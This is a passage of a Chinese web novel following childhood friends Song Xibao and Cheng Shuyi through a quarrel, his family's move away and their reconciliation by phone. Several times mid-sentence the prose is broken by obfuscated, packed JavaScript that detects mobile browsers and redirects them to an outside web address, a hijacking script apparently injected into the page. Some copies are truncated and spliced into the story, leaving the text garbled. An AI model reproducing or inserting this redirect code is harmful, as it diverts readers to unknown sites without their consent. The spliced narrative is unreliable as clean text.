因为比赛是现场打分，所以所有人表演完后，比赛结果也就直接揭晓了。 程书逸不负众望拿了冠军，而宋西宝前三一个没够上，最后只拿了个优秀奖。 爸妈安慰她有奖就很好了，考虑到她的心情，妈妈甚至没太追究她课堂上用复读机听歌的事。 晓琴阿姨也从一班赶过来说了一大堆安慰她的话，宋西宝本来都没那么难受了，结果被大家乱七八糟一通安慰后，又难受了。 目睹了这一切的程书逸决定想个办法让她重新开心起来。 他想来想去，最后想出了一个主意：他决定把他的奖杯送给宋西宝。 程书逸一点没觉得有问题，他甚至觉得自己善解人意。 他想，既然西宝那么想要当冠军，那他就把赢来的冠军奖杯送给她好了，他的不就是她的吗？ 程书逸真这么干了。 周六下午，他打电话给宋西宝，软磨硬泡地把人约了出来。 他们在大梧桐树下碰了面，一见面，程书逸就献宝似的拿出了自己的冠军奖杯递给她，并说：“西宝，我家里已经有很多奖杯了，这个奖杯送给你吧！” “……” 宋西宝听见他这话的反应就跟两年前她第一次去他家，听见他说“我可以拿我的玩具给你玩，我有很多玩具”时一样，甚至比那次更生气！ 她涨红着脸把奖杯扔了出去，顺便还吼了他一声：“谁稀罕你的破奖杯！” 奖杯在地上滚了两个圈，好死不死沾到了旁边地上的狗屎。 程书逸：“……” 程书逸一脸无辜，伸手还想去拉她，结果反被宋西宝推了一把，他没防备，趔趄几步直接一屁股坐在了地上。 宋西宝扭头跑了，程书逸喊她名字她也不理。 好心当了驴肝肺。 程书逸一生气，索性从地上爬起来一脚把沾了屎的奖杯踹出去老远。 两人陷入了冷战。 有道是“城门失火殃及池鱼”，他俩吵架，连带着剩下的朋友们也划分起了男女阵营，上下学都不一块走了。 当然，男生这边主要属于是被划分的那方。 这天放学，蒋博光看程书逸还是闷闷不乐的，便搂着他安慰说什么早该这样了，都是大老爷们儿成天跟小丫头混有啥出息？男生就该跟男生一起玩！ 程书逸听完把他胳膊拿走，一点也没有被安慰到。 旁边周笃文也是一脸郁郁，还劝程书逸道：“你那话听着确实有歧义，要不你主动去给西宝道个歉吧？” 蒋博光一听就不乐意了，横眉竖眼道：“道什么歉？明明就是她们主动先跟咱们划三八线的，我跟你说程书逸你都不知道她们背后怎么说你的！” 程书逸斜他一眼，问：“怎么说的？” 蒋博光说：“她们说你是娘娘腔，就喜欢跟女生一起玩！” 程书逸平时不管是课间还是上体育课，确实是跟班上女生玩得更多，主要女生们也喜欢拉着他玩，就那小皮筋，他跳得比女生还好，还有踢毽子也是，他通常能连踢上百个不掉。 程书逸表情明显在忍耐。 周笃文忍不住质疑道：“你怎么知道她们这么说？” 蒋博光坦白道：“昨天下午第一节课下课我去小卖部买水，碰巧看见季苒和方思彤了，她俩当时正在那儿说你呢！”他看了眼程书逸。 当时季苒和方思彤在小卖部旁边的休息区坐着边吃东西边嘀咕这事，完全没注意到后面有人在偷听。 季苒问方思彤觉得他俩还会和好吗？方思彤摇头说估计不会了，还说宋西宝原话说的是：就程书逸那种娘娘腔，以后他就是求着我跟他玩我也不会搭理他！ “……原话啊这是。”蒋博光说。 周笃文还是不相信，他说：“你确定你没听错？” 蒋博光急了：“你不信你去问她们呀！” 为了避免冤枉好人，程书逸决定找宋西宝当面对质。 课间人多他不好意思去找宋西宝，放学要排路队，宋西宝先出校也不会等他，于是程书逸思来想去便打算等到周四下午，一班三班一起上体育课的时候再去找她。 到了周四这天，两个班的学生先后做完热身运动，结束跑圈之后便自由活动了。 程书逸在操场上望了一圈，锁定了宋西宝的位置后，先哼哧哼哧跑到小卖部买了宋西宝最爱吃的辣条揣在兜里，然后才去找她。 程书逸是打算“鸣金收兵”，跟她求和的。 虽然他觉得自己的出发点没问题，但经过周笃文的几番劝解和分析，他确实意识到了自己当时说的那个话是有问题的。 西宝自尊心强，他早就见识过，程书逸觉得自己当哥哥的，应该照顾妹妹，所以即便他心里也还有委屈，但他愿意做那个主动求和的人。 程书逸原本以为只要他退一步，西宝就会跟他和好如初，然而事实证明，他把女孩子生气这事，想得太简单了。 首先，距离他说错话惹宋西宝生气时间已经过去快四天了，他早就错过了最佳道歉时机。 更糟糕的是他一看见宋西宝，提前准备好的道歉的话全忘了，满脑子只想着他要搞清楚“娘娘腔”这三个字究竟是不是她说的？ 宋西宝看他过来，也以为他是要求和，她满肚子邪火就等着他上门呢！ 于是一个破釜沉舟，一个跃跃欲试，走近了一见面，还没说上话，空气里已经开始弥漫火药味了。 程书逸顶着周围人好奇的目光把她叫到了一边，然后上来就问：“你为什么要那么说我？” 宋西宝邪火一顿，问：“我说你什么了？” 程书逸说：“你是不是说我是娘娘腔？” 宋西宝不知道他是怎么知道的，心里有点小虚但是不多，她很不满意他找事的语气，下巴一抬，语气强硬道：“我是说了，怎么了？” 程书逸看她那样，气得扭头就走，走到一半才记起自己是准备来跟她道歉的。 他捏了捏兜里的辣条，气得拿出来就往地上摔。 宋西宝隔着一段距离瞧见他突然从兜里摸出什么东西然后又摔了出去，觉得好奇，等人走远了，她才过去看，结果发现是她最近老吃的那款辣条。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930667|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她撇撇嘴，心里涌起异样的情绪。 事后周笃文听程书逸复盘两人对话，听得周师爷那叫一个着急啊！ 你说你要道歉你就直抒胸臆直接大白话“对不起”仨字就完了，你一上来先给人家质问上了你是啥意思？ 还想不想和好了？ 面对周笃文的质问，程书逸决定硬气一把。 他说：“绝交就绝交。我也不稀罕跟她做朋友！” 周笃文：“……” 程书逸这边冷静下来了，宋西宝那边又开始犹豫了。 她最终还是捡起了那包辣条，并跟季苒还有方思彤说了程书逸主动来找她这事。 季苒说：“他是想主动跟你和好吧？” 方思彤说：“或者他是想用摔辣条的方式向你宣战？” 季苒：“……” 季苒说：“彤彤，程书逸应该没有那么幼稚吧？” 宋西宝自己琢磨了一晚上，最后还是决定去找程书逸当面问个清楚。 她倒是不怕人多，第二天上午第一节课下课她就去一班找程书逸了，结果被告知程书逸跟着老师去办公室了。 宋西宝以为这个“办公室”指的是年级办公室，结果她在年级办公室门外晃了一圈并没有看到程书逸。 她奇怪地撇了撇嘴，打算先回自己班级，结果就在她快要经过楼梯口时，忽然听见旁边楼梯上面传来了程书逸的声音。 程书逸在跟一个老师讲话，听声音，这个老师好像就是比赛那天负责在后台安排学生的杜老师。 杜老师：“那行，你先回去给父母说一声，到时候电视台那边彩排的时间一出来，我就通知你，学校这边的话我会提前跟你们林老师说好帮你请好假。” 宋西宝听见程书逸“嗯”了一声。 她还在想电视台彩排又是个啥的时候，忽然，杜老师又说话了： “哦对了，你接下来要积极准备电视台的节目，广播站那边，你看要不就先算了？或者你可以再推荐一名同学跟你一起负责，就算你的小助手好了。” 杜老师声音里含着笑，温和亲切得简直令宋西宝诧异。 她心跳忽然快起来，整个人不由自主地贴到了旁边的瓷砖墙上，她竖起耳朵满心期待着程书逸接下来的话，结果却听见他说了别人的名字—— 程书逸说：“那我推荐我们班的刘婧怡吧，她之前跟我说过很想去广播站。” 杜老师：“好啊！那下午第四节活动课你带她一起过来广播站找我。” 程书逸：“好的。” 杜老师：“嗯，那你先回去吧！” 程书逸：“老师再见。” 宋西宝慌不择路，情急之下，只好推开旁边四班教室的后门躲了进去。 这会儿正是课间，教室里正闹腾，她这一闯进来，教室里瞬间安静了，很快便有人认出了她就是上周比赛上那个唱歌摔倒的女生。 窃窃私语迅速传开，宋西宝顶着众人或戏谑或好奇的目光原地呆了几秒，等估摸着程书逸已经走开了，她才讪笑着连说了几声不好意思退了出去。 18. 分别 宋西宝一回到教室就把兜里揣着的那包辣条拿出来摔进了垃圾桶，后排同学看她气冲冲的，问她怎么了？她也不说话。 她太委屈了！！太气愤了！！ 臭程书逸烂程书逸死程书逸，从今天起，她要彻底跟他绝交！！！ 宋西宝说话算话，从这天起，她连一个眼神也不给程书逸了。 之前两人虽然冷战，但好歹碰见了她还会哼一声表达一下情绪，现在好了，她直接把他当空气。 季苒和方思彤听说了楼梯间的事后也觉得很气愤，三姐妹同仇敌忾，一致排外，连带着看蒋博光和周笃文也不顺眼起来。 梧桐帮一夜之间分崩离析，蒋博光看热闹不嫌事大，还煽风点火地又给他们仨取了个新的组合名字，叫“霸王无敌三剑客”。 程、宋两家的父母也看出来两个孩子在闹别扭，谭淑媛先入为主以为又是自己闺女欺负了人家孩子，于是逮着宋西宝就是一通教育。 宋西宝逆反心理上来，直接就是一个不听不听王八念经。 后来还是宋卫国出面问了一下，宋西宝才勉勉强强跟她爹说了几句。 宋卫国一听，嗐，没大事。 程家那边，古晓琴也试图探听了一下，可惜程书逸一副拒绝合作的态度，什么也不肯说。 两个妈妈闲暇时碰到一起说起这事，古晓琴听了个大概意思，笑得嘴都合不拢，还跟谭淑媛打趣说这俩小孩怎么跟欢喜冤家似的？ 大人们完全没把两个小孩说的“绝交”放在心上，只有小孩子自己当了真，认认真真地践行着。 直到有人先心软、先不舍。 期中考试后，文明监督岗的任务又轮到了四年级。 文明监督岗顾名思义主要是负责监督校内各种不文明现象的，比如上学不戴红领巾、课间操教室留人不出勤等等。 被选拔出的文明监督员每天中午要提前半小时到校在校门口站岗，负责检查进校学生的红领巾佩戴，如有未佩戴的，需要登记姓名班级，然后做扣分处理，最终会影响班级得流动红旗。 进校佩戴红领巾这事一直是宋西宝的老大难问题，她也不知道是记性真的不好还是怎么的，总是忘记带。 为了不被记名字扣分，她最开始是花钱在校门口临时买——质量差一点的红领巾五毛一条，好一点的一块。 后来买太多了她就有点心疼零花钱，有时遇上忘戴了，就跟相熟的同学说好，等她们先进去了，再从旁边的围栏那儿把红领巾递出来给她，好让她顺利混进学校去。 宋西宝一直这么干都没事，直到这天—— 这天刚好是周一轮到一班学生执勤，门口站岗的六个文明监督员中，程书逸正是其中之一。 宋西宝是临到校门口才发现自己又忘戴红领巾了，她不经意地跟门口站岗的程书逸对上了眼，后者只十分平淡地看了她一眼就收回了视线。 宋西宝心里莫名窝火，原本刚刚她心里还有一瞬间想过，要不要找程书逸走个后门？ 现在……得了吧！ 宋西宝转身就往回走。 她在校门外等了几分钟，十分幸运地碰见了同桌何意。 何意“救”过她几次，非常熟练地给她指了指旁边围栏那儿，宋西宝领会精神，俏皮地比了个OK的手势。 结果就在她们悄悄传递东西时，一个不速之客突然出现了——一班的刘婧怡捧着个小本本出现在何意身后，差点没把何意给吓死。 刘婧怡说：“同学，你这样是违反校规的，你几班的？” 何意吓得说不出话。 宋西宝给她使眼色让她走，何意犹犹豫豫的。 宋西宝说：“我自己去文具店买好了，你先走吧。” 何意听她这么说才离开。 刘婧怡隔着围栏目光警惕地看着她。 宋西宝白她一眼，心情烦躁地转身准备去买红领巾。 她往文具店走，边摸了摸兜，结果啥也没摸着，心里瞬间咯噔一声——完了，今天周一换校服忘记把钱装进来了。 接下来的时间里，宋西宝在校门外徘徊许久，愣没见着一个熟人。 眼看上课时间就要到了，她正准备认命，突然，程书逸从校门口走了出来，还叫了她一声。 宋西宝听见他声音，立马武装好表情，一副没事人的样子转过头。 程书逸来到她面前，什么也没说，只是伸出手递给她一枚一元钱的硬币。 宋西宝明知故问道：“干嘛？” “给你……” “你干嘛呀程书逸？”刘婧怡追上来打断了程书逸的话，看宋西宝的表情就像在看敌人一样。 宋西宝看看他，又看看刘婧怡，面前这两人左胳膊上都套着文明监督员的红袖章，好像他俩才是一队的。 宋西宝脑海里忽然闪过那天他在楼梯上说过的话，于是原本软和了一丝的心瞬间又变硬了，她干脆还生起气来了。 “四年级三班宋西宝，你记吧。”宋西宝冷冷对刘婧怡说，然后直接绕过他俩进校了。 程书逸就是这天起才确定，宋西宝是真的不想跟他做朋友了，她彻彻底底地拒绝了他。 虽然他俩闹掰了，但因为双方父母的关系，两人还是时不时就能见面，偶尔也会在一张桌子上吃饭，但宋西宝是能不跟程书逸说话就不跟程书逸说话。 程书逸呢，起先因为害怕失去朋友，还会主动示弱，后来看她冷眼看多了，便再也没有勇气主动了。 两人这么一别扭就别扭到了放暑假。 暑假，宋西宝照旧被爸妈团巴团巴打包送回了老家。 爷爷奶奶许久没见她了，都想她的不行，老两口疼孙女，一回去就是好吃好喝招待着，宋定邦怕她在城市里过惯了嫌乡下无聊，还给她做了弹弓，带着她上山打鸟玩。 宋西宝就这么在乡下野了快俩月，临走的时候，奶奶往她书包里又塞了好几盒酥糖，宋西宝看着这些酥糖，忽然想起了她和程书逸曾经的约定。 她心情一下就不好了。 奶奶看她小嘴一撇，以为她是舍不得他们，忙把她抱着哄。 宋西宝下巴枕在奶奶稍微咯人的肩膀上抬眼望着天花板，心里忽然冒出一个挥之不去的疑问：她还要执行和他的约定吗？ 不用了吧，当初拉钩的内容她早就完成了。 但是程书逸好像很喜欢吃这个糖…… 但是他们已经不是朋友了呀…… 几个月来，宋西宝头一次认真回想了一下她跟程书逸吵架这件事。 其实她真不是一个小心眼的人，她心挺大的，老妈就经常说她没心没肺傻乐呵。 像当初比赛虽然她丢脸成那样，但过完一个周末她就记不起来了，也不是记不起来，就是她不再把这事往心里去了，过了就过了，她很擅长给自己翻篇。 但宋西宝也不知道为什么跟程书逸她就这么小心眼，吵个架能记恨他这么久，久到她都有点记不起自己是在生什么气了。 好像是因为广播站的事，程书逸跟老师推荐了别人没有推荐她。 那个别人叫什么名字来着？ 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936019|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西宝想了半天，只记得好像是姓刘？ 爷爷在门口催她赶紧走了。 宋西宝决定不想了，带就带呗。 毕竟爷爷除了教过她言出必行，还教过她大人有大量。 宋西宝回到了梧桐苑，还是跟以前一样打电话给季苒和方思彤求助抄作业，她们约好在季苒家里见面，结果宋西宝一进门，发现周笃文和蒋博光也在。 她还没来得及质问这俩货怎么又冒出来了，就听蒋博光说：“程书逸他们家搬走了你知道吗？” 宋西宝：“什么？？” 季苒把她拉进屋里，满眼惆怅说：“程书逸走了，他说他要转学去他爸爸工作的城市读书了，他临走前还给我们都送了礼物。” 宋西宝一脸茫然。 方思彤怕她不信，也跟着说：“是真的老大。” 宋西宝这才点点头，强装无事地哦了声，说：“走呗。”她取下包，又说，“哦对了，我奶奶又做了酥糖，你们分着吃吧！” 当天晚上，爸妈也跟她说了程家搬去邻市的事，没说得太清楚，只说是程叔叔在海市的工作转正了，学校分配了房子，然后晓琴阿姨觉得那不如就搬去海市生活，一家人也能团圆。 爸妈怕她难过，说话声音都轻轻地，宋西宝觉得莫名其妙，程书逸走了，她高兴还来不及呢！ 但说是高兴，当天晚上她却翻来覆去的没睡着。 宋西宝一会儿想到程书逸摔倒在地手捂着脸流血的样子，一会儿又想到他吊着石膏跟她说“不是你的错”的样子。 她忽然发现自己只能想起程书逸的好了。 她拼命想回想起他对她不好的时候，但脑子乱七八糟的，一个也想不起来。 宋西宝从床上坐起来，拧亮床头台灯。 在她小床的对面，是爸爸亲手给她做的书架，上面摆满了她的课外书，大部分都是漫画，其中很多都是程书逸送给她的。 之前她想买漫画书零花钱不够的时候，程书逸会大方地直接掏钱给她，但他最后一次掏钱她却没有接…… 宋西宝忽然觉得心里有点难过。 视线往上移，她又看到了摆在书架最上一层的那几个木雕。 去年她过生日，程书逸给她送的生日礼物还是木雕，同样也还是一只小猴子，只不过成品比之前她收到的那只要好看些，能看出他是有明显进步的。 对了！礼物！ 大家都收到了程书逸的告别礼物，那她的呢？她有没有礼物？ 宋西宝掀被子下床，拖鞋都忘了穿，赤脚跑到爸妈房间敲门，宋卫国睡眼惺忪地起来开了门，宋西宝着急问：“爸爸，程书逸有留什么东西给我吗？” 屋内谭淑媛也被吵醒了，她一听，忙道：“对对，小逸临走前过来给你送了个东西，妈妈给你放书桌下面了，在那个蓝色袋子里。” 宋西宝一听，忙又往自己房间跑。 她揿亮卧室大灯，把书桌下面那个蓝色袋子拿了出来，打开，里面还是她熟悉的包装。 宋西宝把包的方方正正的礼盒取了出来，看到礼盒正面写着：西宝，提前祝你生日快乐。 她还是没耐心，三两下拆开，不出所料地看见了自己的礼物——仍旧是木雕。 不过这次雕的……是一只小猪？ 盒子里还有一张小纸条，她拿起来看，发现上面只写了三个字： 对不起。 宋西宝不知道怎么形容自己看到这张纸条时的感受，她满心只剩下了一个念头：她跟程书逸错过了，今年的酥糖他吃不到了。 19. 遗忘 程书逸的突然离开让宋西宝有些懊悔，还有些难过。 尤其是他留下来的那张字条，实在是诛心——她这还记恨着他呢，他却先摇白旗道歉认输了。 本来也不是什么大矛盾，他这么一整，倒显得她心眼忒小。 刚开学那几天，宋西宝每次一想起这事就愁肠百结，在家不是唉声就是叹气，她爸宋卫国见了，不仅不安慰她，还要顺势奚落她两句，说她：“人在你面前的时候，你百般看人家不顺眼，等人家走了，你又想起人家的好了，你这不是有病吗？” 宋西宝：“……” 宋西宝不想承认自己有病，但又觉得有点心虚，都说“当局者迷旁观者清”，她想了想，干脆私下里找周师爷聊了聊这事。 “师爷”这个外号是蒋博光最先喊起来的，他觉得特别配周笃文，团队里其他小伙伴也这么觉得，于是渐渐地大家就喜欢叫周笃文叫师爷了。 宋西宝问周笃文她跟程书逸吵架这事究竟谁对谁错？ 周师爷不愧是他们几个人里心眼最多的，他不正面回答宋西宝的问题，只模棱两可地说：“这个事嘛，我觉得你俩都有错，但主要还是程书逸最一开始的表达引起了误会。” 其实他话说到这儿也就够了，宋西宝找他，无非也就只是想听个安慰，但这厮非要“杀人不见血”的再给她补上一句：“只是我们这几个人里，程书逸对你，一向是最好的。” 宋西宝听完，当时就感觉心上的窟窿好像又往外扩了两寸，那凉风呼呼地直往她心窝子里吹，吹得她难受死了。 宋西宝被自己心里这点愧疚和难过折磨了大半个月，终于，在一个风和日丽的周六上午，她问老妈要来了程家的座机号码，一咬牙，拨了出去。 电话拨出去响了老半天才有人匆匆接起，接电话的人还不是她期望的那一位—— 古晓琴对着听筒喂了两声，宋西宝才反应过来，匆匆挤出一声尴尬的笑，叫了声晓琴阿姨。 “西宝啊！”古晓琴对着话筒，察觉到斜对面卧室门悄悄开了条缝，她不动声色地把声调又提高了两分，“你找小逸啊！小逸他现在好像在忙……” “忙”字还没落音，程书逸旋风一般从卧室刮到了客厅，踮脚从妈妈手里抢过话筒，急急忙忙地开口喂了一声。 “程书逸？” “是我。” 古晓琴笑着呼噜了一把儿子的头，转身走开了。 程书逸握着话筒等了半天也没等来下一句，他奇怪地皱皱眉，拿开话筒看了眼，还以为是座机出问题了：“喂，西宝？你还在吗？” “我在！”宋西宝赶忙接了句，但说完又沉默了。 他俩这次冷战太久了，太长时间没说话，这一上来还给她整拘束了。 程书逸一贯是个被动的，今次却忽然开了窍，主动问起她道：“你在干嘛？” 宋西宝：“我？我没干嘛呀，就今天放周末，我妈让我给你打个电话问问你们，搬家的事都弄好了没有？对了，你的新学校怎么样啊？” 程书逸知道这通电话不是淑媛阿姨让她打的，他们搬来海市都一个多月了，淑媛阿姨电话都打了好几次了还能不知道他们情况怎么样吗？ 善解人意如他，虽然知晓宋西宝的小心思但并没有揭穿，只顺着她的问题回了话——搬家的事都处理完了，新学校就那样，没什么新奇的。 他本来还想再说一句：新学校没有你，我过得挺无聊的。 但他把这话自己放心里咂摸了一下，觉得有些黏唧唧的，便咽了下去没说。 他还想问，那你呢？我走了，你有没有觉得无聊？有没有想我呢？ 这话就更黏了，打死他也问不出，最多心里想想算了。 他俩抱着电话有一搭没一搭地聊天，大部分时间都是宋西宝在说。 说来也怪，之前程书逸在的时候，她也没这么多话要跟他讲，反而是他走了以后，她突然觉得有好多话要跟他说。 但说来说去，最重要的——道歉、和好，这两件事她却始终没好意思开口。 宋西宝想着，要不就这样吧，也没必要特地说出来了，不然还显得矫情，反正他不是都接她电话了吗？他俩聊得这么愉快，看起来一点隔阂也没有，应该就意味着程书逸也原谅她了吧？ 她不确定，想着要再试一试，正巧这时候听筒里传来了饼干的叫声，于是她旁敲侧击地同程书逸讲起了寓言故事—— “你们搬走之前，有一天我跟饼干玩，它不小心咬了我一口，没咬出血，但是把我给咬疼了，我一气之下就打了它几下，后面它过来给我撒娇求摸摸我也没理它，程书逸，你说我要是现在重新想跟饼干玩，它会不会不理我啊？” 程书逸脑子转得可比她快多了，一听就明白了她真正想说的是什么，但他偏要使个坏，反过来问她道：“如果它不理你呢？你会怎么样？” 宋西宝沉吟几秒，说：“那我就摸摸它的头，跟它说对不起，都怪我太小心眼了，实在不行的话，我就让它再咬一次呗，这次我绝对不生气！” 程书逸就在电话那头笑，宋西宝也跟着笑，然后小心翼翼地问：“这样可以吗？” 程书逸点了下头，又反应过来她看不到，于是重重地“嗯”了一声，说：“饼干和我都不会真的生你的气的。” Yes！冷战解除！ 宋西宝握着听筒，高兴得整颗心都变轻盈了。 连日来的阴霾一扫而空，她愉快地同程书逸约定好下次打电话的时间，然后就挂了电话。 电话挂断后，她开心地在屋子里转了好几圈，然后又打电话给方思彤和季苒，向她俩宣布了自己跟程书逸和好的消息。 蒋博光和周笃文是周一才得知这个消息的，知道他俩又重归于好了，蒋博光表现得十分恨铁不成钢。 他私下里同周笃文抱怨说程书逸这脾气性子也太软了，简直被宋西宝吃得死死的。 周师爷笑而不语，转头就唱起了世界名曲《山下的女人是老虎》…… 时间就这样一天天过去。 最开始，宋西宝还有点不适应没有程书逸的生活，这种不适应在她提前花完零用钱但又想买新的漫画书，以及她犯错误被爸妈批评的时候会体现地尤为明显，因为没人站出来帮她了。 他们最开始通电话通得很频繁，几乎每天都要打电话互相汇报生活。 宋西宝像是找到了什么新的交友乐趣一样，事无巨细什么都想通过电话告诉远在千里之外的程书逸。 而程书逸对她的话痨也相当捧场，听到她抱怨没钱买漫画书，程书逸还会偷偷攒下零花钱，然后买她想要的漫画书寄给她。 宋西宝收到礼物自然是高兴得无以复加，在电话里一个劲儿地对他说好话。 什么“你就是我最好的朋友”“你太好了程书逸”“我好喜欢啊”这样的话她张口就来，把年幼无知的程书逸哄得晕头转向，还真以为自己对她来说就是那个独一无二、永远都难忘的人。 可惜，宋西宝对他的这份热情也就堪堪维持了一年而已。 究其原因，倒也简单。 人的精力是有限的，而宋西宝身边，实在是不缺朋友——她爱玩也会玩，身边总是围着很多人。 程书逸也是在跟她分开以后才发现，自己原来那么讨厌那些围在她身边的人——他讨厌听到宋西宝总是在电话里提到别人，尤其是那些他不认识的人。 他每周只能等她的电话，而那些人却能跟她一起玩，分享她带来的快乐。 他觉得心里非常不舒服，但他也知道这种不舒服他没法跟宋西宝说。 如果说了，她肯定又会觉得他是在无理取闹，说不定还会骂他小心眼。 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一开始，爸妈包括她自己都以为她只是得了一场小感冒，想着喝点冲剂，夜里捂住被子睡一觉发发汗就会好，谁也没想到，她这回是病来如山倒——前后不过一个礼拜的时间，她就把自己烧成了肺炎。 爸妈因为自责对她的疏忽，在她生病这段时间对她几乎是无有不应的，属于是要星星不给摘月亮，态度好的都有点像假人了。 宋西宝出院后返校，刚好赶上期中考试，她也不知道自己是没好利索还是被考试给吓着了怎么的，刚考完就又发烧了，吓得她妈谭女士赶忙又给她请了三天假回家休息。 这天是她病假的最后一天，宋西宝围着毛毯窝在沙发上从早到晚看了一天的《武林外传》。 她看着看着，看到好笑的地方一不留神被自己的口水给呛到了，她本来咳嗽就还没好，这下干脆咳了个撕心裂肺—— “咳，咳咳，咳咳咳……” 厨房里，谭淑媛听见她这一通咳，菜刀都来不及放就冲了出来，宋西宝一看她妈这架势，还以为要生劈了她，吓得忽然就止住了咳嗽，顺便还打了个嗝。 谭淑媛放下菜刀，一脸忧愁地给她倒了杯温水让她喝，又忍不住摸着她消瘦的小脸念叨：“怎么还咳得这么厉害呢？你这明天就要回学校了，万一没好利索又给拖严重了怎么办？要不妈再给你请两天假？” 宋西宝眼睛一亮。 谭淑媛紧跟着说完了后半句话：“——再带你去医院打两针？” 宋西宝：“……” 害怕打针的她赶紧把头摇成了拨浪鼓，解释说自己刚刚只是被口水给呛到了。 谭淑媛没忍住往她背上轻拍了一记：“个倒霉孩子！” 这时，门口忽然传来了敲门声。 谭淑媛起身往门口走，边问：“谁啊？” 外面的人答：“谭姨，是我。” 是季苒的声音。 20. 葬礼 季苒不是一个人来的，在她身后，方思彤也跟着一起进来了。 谭淑媛还在招呼俩姑娘待会儿留下来一起吃晚饭，宋西宝抻着脖子插话道：“彤姐，你咋来了？你今天不用补课吗？” 方思彤的爸爸是初中物理老师，正好就在他们几个读书的初中任教。 自从上了初三，方思彤就被她爸勒令开始补课——年级主任顶风作案，牵头组织了几个科任老师在校外成立了一个补习班，收费高昂，一般人还进不去。 方思彤把书包取了往旁边一甩，整个人跌坐在沙发上，有气无力道：“学校今天有领导检查，补习班暂停了，我爸他们这会儿都还留在学校开会呢，我就先溜了。” “哟西！”宋西宝欢呼一声，还没来得及说点什么呢，旁边季苒一脸严肃地打开书包从包里摸出一沓试卷递给她道，“快别乐了，你这次期中考砸了，名次都掉到一百名开外了，袁老师让我给你带话，让你明天麻溜儿地去他办公室报道，他要跟你谈谈心。” 季苒初中跟宋西宝在一个班，平时宋西宝除了怕老师和爸妈，最怕的就是她了。 宋西宝一听，都来不及仔细看自己到底考了几分就忙把试卷又往季苒书包里塞道：“好季苒，你怎么把这么危险的东西掏出来了？快塞回去！” 她边说边往厨房看，所幸她们家谭女士这会儿正忙着在厨房里颠锅抡大勺，没功夫听她们说话。 季苒倒也不是真想害她被父母骂，只是她成绩实在下降太多，她担心她再这么吊儿郎当下去，成绩会越来越差，到时候要是考不上高中，那就好玩了。 宋西宝看季苒瞪着眼气鼓鼓地不说话，知道她是真的生气了，忙端正态度举手发誓道：“季老师我错了，我发誓，我回学校一定认真学习，你让我干啥我就干啥，真的，你别生气了……” 她拉着季苒的手晃来晃去，季苒对她一向没脾气，只好高高举起轻轻放下道：“你自己说的啊，回去我监督你，你要是再敢上课偷偷看小说，我就给谭姨告状！” 宋西宝一副被威胁到了的样子，表面上苦恼地说：“啊……不要吧季老师！”，实际上心里一点都不担心季苒会跟她妈告状。 旁边方思彤早看穿了宋西宝心里那点小九九，偏季苒是个实心眼的，还真以为她怕了：“知道怕了你就好好学习，这马上都要中考了，你说说你这个成绩，一会儿高一会儿低的，一点都不稳定，你不稳定，怎么能保证你中考那次就一定能考好呢？” 季苒又开始唠叨了，她一唠叨，宋西宝就忍不住走神。 季苒在他们班当了快三年的学习委员，在教育人这方面可以说是深得老袁的精髓，那讲起车轱辘话来一套一套的，她平时反正也不教育别人，就逮着宋西宝一个人可劲地薅。 今天倒好，买一送一，连带着方思彤也当了回季老师的学生，被她灌了一耳朵的苦口婆心。 眼看两人听得眼睛都开始发直了，季苒终于住嘴道：“反正回学校我看你具体表现，你要是表现不好，我肯定会大义灭亲的！” 宋西宝回神，忙道：“是是是！您看我表现，我肯定好好表现！我要表现不好，您想怎么处置我都成！” 第二天一早，宋西宝早自习刚上一半就被老袁叫去了办公室，然后从老袁嘴里又听了一遍昨天季苒说过的话。 两者唯一的区别是老袁比季苒暴躁多了，总是说着说着就忍不住动手拍桌子，搞得她经常是灵魂出窍到一半又被惊醒过来，都快吓成神经病了。 挨完训，正好早自习也下了。 宋西宝从办公室出来伸了个懒腰，刚伸一半，感觉不对，回头看，正对上窗户后边老袁阴恻恻的视线。 她心虚一笑，立刻怂怂地收回胳膊跑了。 第一节课上完，宋西宝已经困得两眼昏花了。 她生病这半个月基本就是吃了睡睡了吃，堕落得彻彻底底，今天早上闹钟响的时候，她差点都没起来成。 好不容易熬到了下课，宋西宝正准备抓紧这十分钟补个觉，但刚趴下，季苒就过来敲她桌子了：“西宝，西宝——” 宋西宝闭着眼把脸埋得更深了些，嘴里嘟嘟囔囔地说：“季苒，我快困死了，你先让我眯几分钟……” 话没说完，季苒凑到她耳朵跟前叫道：“你妈妈来了！” 宋西宝双眼一瞪坐起来，三魂七魄都给吓飞了一半：“啥？” 不至于吧，她就伸个懒腰而已，老袁把她妈都给叫来了？ 季苒指给她看，果然，谭淑媛正一脸急色地站在教室门口张望，瞧见她后，忙给她招了招手，示意她过来。 宋西宝一看，直觉不对，起身跑了过去：“妈，你怎么来……” “了”字还没出口，宋西宝惊讶地发现老妈的眼睛居然是红的，一看就是哭过了。 “怎么了？出什么事了？”她一下紧张起来。 谭淑媛拉着她一边往教师办公室走，一边哽咽着说：“你方舟叔叔走了。” 方舟叔叔走了？ 什么意思？ 